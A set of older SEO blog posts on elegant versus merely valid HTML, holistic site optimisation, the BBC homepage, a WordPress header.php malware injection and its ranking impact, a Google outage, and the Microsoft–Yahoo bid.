Web site code optimisation

Does valid code matter?

You often see that question on SEO forums, and the wide diversity of replies shows how much confusion there is on this. It usually degenerates pretty quickly into an argument between those who fervently believe valid code helps search rankings and those who don’t. This misses the point completely.

My opinion, confirmed by numerous examples of building sites that rank quickly and well, is that code should certainly be as valid as possible but that more importantly it should be elegant and it should be suitable.

What exactly do I mean by elegant? Einstein said that things should be as simple as possible but no simpler. Really well structured code is so simple that it can read almost as easily in the browser source code as it can when it’s rendered. That is the result of good planning at the design stage – not rigid planning that goes for a specific effect but flexible planning that can allow for changes requested by clients and future development of the site.

By suitable I mean coding and programming that has been designed to accomplish the tasks that the site requires while fitting in with the overall design. Not something that has been borrowed from other sites and which then needs hacks and inline styles to fit in.

Read your source code and if you see complexity ask yourself why it’s there and is it necessary.

It’s very rare that you need to have code that has classes or span tags on every paragraph or heading – they should inherit their styling from their parent elements. It’s extremely rare that you need to use tables for anything other than tabular data.

Complex dynamic sites provide plenty of opportunity to go wrong because very often such a site’s different modules will be built by different programmers, and if no-one has an overall vision for the site and controls the architecture of it you’ll often find that parts of its coding structure are derived programmatically using inline tricks which produce poor HTML. Being a good programmer doesn’t mean being a good web designer and if there are multiple people working on a site there needs to be good communications between them.

This is also where the SEO knowledge has to come in if it hasn’t already, because it’s rare for programmers to have any understanding of it. That’s not to criticise them – they only require it if they are taking on a wider role than just programming.

When validity matters

Note that since the second paragraph I haven’t mentioned validity at all, let alone as a goal in itself. Elegant code will nearly always be valid pretty much automatically. However code can be valid and not elegant. It’s perfectly possible to write complex and convoluted code that is perfectly valid but not at all appropriate.

There are many different types of errors that can cause invalid code. Some are of very little importance, some may be important for cross-browser compatibility purposes but not be show stoppers otherwise, while others may be fundamentally important to HTML structure. Search engines may well be able to ignore many of the less important errors but may be unable to interpret the more structural ones. For instance I have seen cases where crucially placed duplicate IDs have caused spiders not to follow navigation systems. One site appeared perfectly ok in all other aspects and no-one could understand why it wasn’t being properly indexed until I pointed out this problem and corrected it; whereupon the missing pages suddenly began to appear in the indexes.

You won’t get prizes from the search engines for just having valid code but you will get benefits from well-designed, simple and elegant code; and that’s what you should be aiming for as both a web designer and an SEO.

Web site optimisation v SEO

There seems to be a lot of confusion in the minds of many webmasters, both new and experienced, about what SEO actually is and what tasks it is useful to spend time on. You see forum questions asking ‘should I worry about code validity’ (I’ll return to that one in another posting soon), ‘should I put in a better shopping cart system?’, ‘should I worry about Firefox/Macs/disabled people?’. You soon get the impression that these webmasters aren’t looking at their web sites with any sort of rounded view.

A web site isn’t there just to get rankings, just to get traffic, just to sell stuff to IE users. You have to look at it as a whole – how do the various parts fit together to attract users, attract genuine links, satisfy the demand for the product, service or information you provide, abide by the law, allow search engines easy access, and a dozen other areas.

It’s not just that SEO and usability go together – everything about a web site should be optimised to make visiting it a quality experience. Navigation should assist users to find what they want. Content should be laid out and structured to be easily scanned while providing maximum information. Images should be sensibly sized and add to the information rather than just acting as generic filler. If you’re selling something then it should be possible to order it with the minimum of fuss and with as many payment options as possible.

There are no shortcuts to quality. Think total web site optimisation and you won’t go far wrong.
To me that’s what true SEO means, but the terminology in our industry is so fluid that it can be taken to mean just about anything and many people see it in much narrower terms. If you’re hiring an SEO company then find out beforehand what they think it means and define how wide their remit should be.

The New BBC homepage

Some of you will by now have seen the new BBC home page with its movable and customisable sections which can be tailored to your preferences. Fiddleability rules!

When I first looked at the beta version I wasn’t convinced; it looked a bit “play-school” and some of the option weren’t too well thought out. But it’s now much better and if you reduce the text size a notch it fits together pretty well to give you a selection of news items of the sort you want without the stuff you dont.

I can see this becoming the defalt home page for a lot of people, and maybe not just those in the UK either!  Depite the seemingly universal dumbing down all over the media the public still trust the BBC in a way that applies to very few other organisations. So the question is, will this take some traffic away from Google?

I suspect it might, particularly if the search facility was made more prominent and the “All the Web” option promoted a bit more. It’s ages since I tried any competitive searches on this engine – in fact I’d forgotten if it was still their own engine or if they were using someone else’s results – but I tried a few queries today and was quite pleased with the results. (they must be good, I was in the top ten for “search engine optimisation scotland” 😉  ) If I have time I’ll try and remember to do a few more and compare them to Google and Yahoo.

If the BBC really wanted to push this I suspect they could get a reasonable share of the market. Who do you trust more – MSN, Ask, or good old Auntie Beeb? Well, that’s third place pretty well assured then! Of course what they would be allowed to do with it is another matter; they can hardly start up a BBC adwords-style operation can they?

When getting hacked hits your rankings

Earlier this year I wrote about the rankings that this blog had enjoyed dropping substantially despite the main site holding on to its positions. Yesterday I discovered a possible cause. A correspondent on one of my other blogs notified me that his anti-virus program had alerted him to an attempted trojan link when he visited my other site. I investigated and found that a section of JavaScript had been added to my header.php file which used character code to open an iframe containing a link to a malware site. I removed it and restored the original clean file. Naturally I then checked my other blogs and discovered the same problem on this one. (Interestingly another blog based on a different template was clean, though that may just be a coincidence.)

The dates on the infected header.php files were the 18th and 19th of January and I don’t know yet how the JavaScript code was attached, but I’ll be updating the WordPress installation (ironically I hadn’t upgraded immediately to 2.3 because I thought 2.1 was stable and secure) and trying out a new security technique that I discovered last night. If you have visited the site since those dates then I’d advise you to run your anti-virus programs. I’ve checked my own machine and found no problems so my own security seems to have held firm.

Now for the SEO implications. I check some of my rankings every week. On the 17th Jan they were fine with a number of top 5 results. By the next check on 24th Jan they had dropped substantially in Google. This strongly suggests that Google had identified the malware link and marked the blog site down for it. The blog rankings continued to tumble, suggesting that each fresh visit from Googlebot was pushing it further down. However I haven’t had any messages in Webmaster Tools notifying me of any problems. The question now is whether I should wait and see what happens after the next couple of Googlebot visits or if I should send a reinclusion request straight away. Suggestions welcome!

One thing for sure. I’ll be checking the file dates on my blog files regularly and keeping an eye out for any JavaScript in the source code.

Be careful out there!

What does the world do when Google goes down?

Interesting; midday on Saturday (UK time) and Google is down. A tracert command runs fine on both the .co.uk and .com addresses but the wewbsite doesn’t respond. Not only that but sites that I know run Google Analytics are slow to load, presumably because the analytics calls aren’t responding.

My first thought was to look for news on this but what do you do when your main source of news is the thing that’s not working? Nothing on the BBC News (probably don’t think that new-fangled internet thing is very important), nothing on the various blogs and RSS feeds I monitor. Let’s try Yahoo – nothing useful in their web search (stuff from an outage in 2005), and their link to news takes ages to load before again showing nothing current. How about MSN/Live – hmm, taking ages to load and then eventually appears with no CSS formatting or images. The search box is still there though – but nothing in the results. The alternatives aren’t doing too well are they.

Checked three SEO forums but nothing there; guess the Americans are all still asleep. Some UK blogs, nope nothing there either. Now in the old days we’d have had Fidonet…

If it wasn’t for the single hop tracert result I might wonder if it was an ISP problem. Hmm, just noticed the Sphinn feed isn’t responding either. I’m beginning to feel as if I’ve woken up in a parallel universe or a sci-fi story and people are going to reply, “Google? what’s that?” Like Beverley in ST-TNG when she’s trapped inside a collapsing warp field and people keep disappearing.

So, this all begs the question. What do you do when the company that has almost a monopoly on information disappears. Expect further thoughts on this. (Though you might not be able to find them if Google doesn’t come back up!)

(Edited to add that Google came back up around 3.45pm )

Microsoft and Yahoo – the implications

So the much speculated bid has finally happened. Will they say yes? If they do what will the search industry look like in a years time.

Recent figures on search market share in the USA suggest that Yahoo may be losing ground and MSN/Live gaining, though there seems little suggestion of it in the UK. Indeed there is a suggestion in some figures I’ve seen that Ask is finally beginning to make an impact and is close to MSN/Live, though both are at a very low level.

Looking at the respective assets of Microsoft and Yahoo there is a great deal of overlap that would seem to suggest that any amalgamation is going to be painful for both staff and users. Both companies have mail systems, both have instant messenger systems, and of course both have search systems. The chances of duplicate systems surviving the accountants’ eagle eyes seem to be low, yet a lot of brand loyalty could easily be killed off if it’s handled badly. There some areas that will be attractive to Microsoft – the Flickr photo archive for instance – but the conventional wisdom amongst most commentators (Aaron Wall being a notable exception) seems to be that they want Yahoo for search.

Now Yahoo search is a strange beast these days. Aaron calls it stale and there is something in that description. Their speed of response seems slow – at one time they were faster than Google but these days it seems to take weeks before they respond to site changes – and their results are often very strange. The odd thing is that they themselves took over some interesting search engines but don’t seem to have done much with them – Alta Vista may have been an odd takeover choice but AllTheWeb was a very promising engine that seems to have been sidelined rather than incorporated. Maybe that’s one of the things that Microsoft want. Certainly they seem to be getting nowhere with their own search system; it was promising for a while about 18 months ago but once Live Search arrived it seems to have become erratic and on some searches produces some of the worst results I’ve seen. Another possibility is that they want the Overture PPC part of the business to shore up their falling ad revenues

Quite honestly I can’t see Google losing any sleep over the search aspects of the combination – they are so far ahead in that area that it seems impossible for anyone to challenge them unless they themselves make some bad blunders. Not impossible, given the negative press they’ve been getting over privacy for instance, but fairly unlikely. But they certainly seem to have been stung into action given their hard-hitting comments about “illegal practices” being carried into the internet arena. Maybe that’s just a knee-jerk reaction or maybe they think Microsoft are up to something and are desperate to nip it in the bud. Apparently they were concerned enough to offer Yahoo a deal to stave off the takeover.

All-in-all my suspicion is that the war between these two giants is going to be more far-reaching than just search. Such is Google’s lead that Microsoft can’t win on just search and they are a company that doesn’t like to come second. They must also be worried that Google’s attempt to switch users to online-based data storage and office apps is threatening Microsoft’s traditional monopoly in the PC office suite and operating system area. If they were to lose that then they’d be in trouble. So the search market may not change all that much this year but a lot of other things might.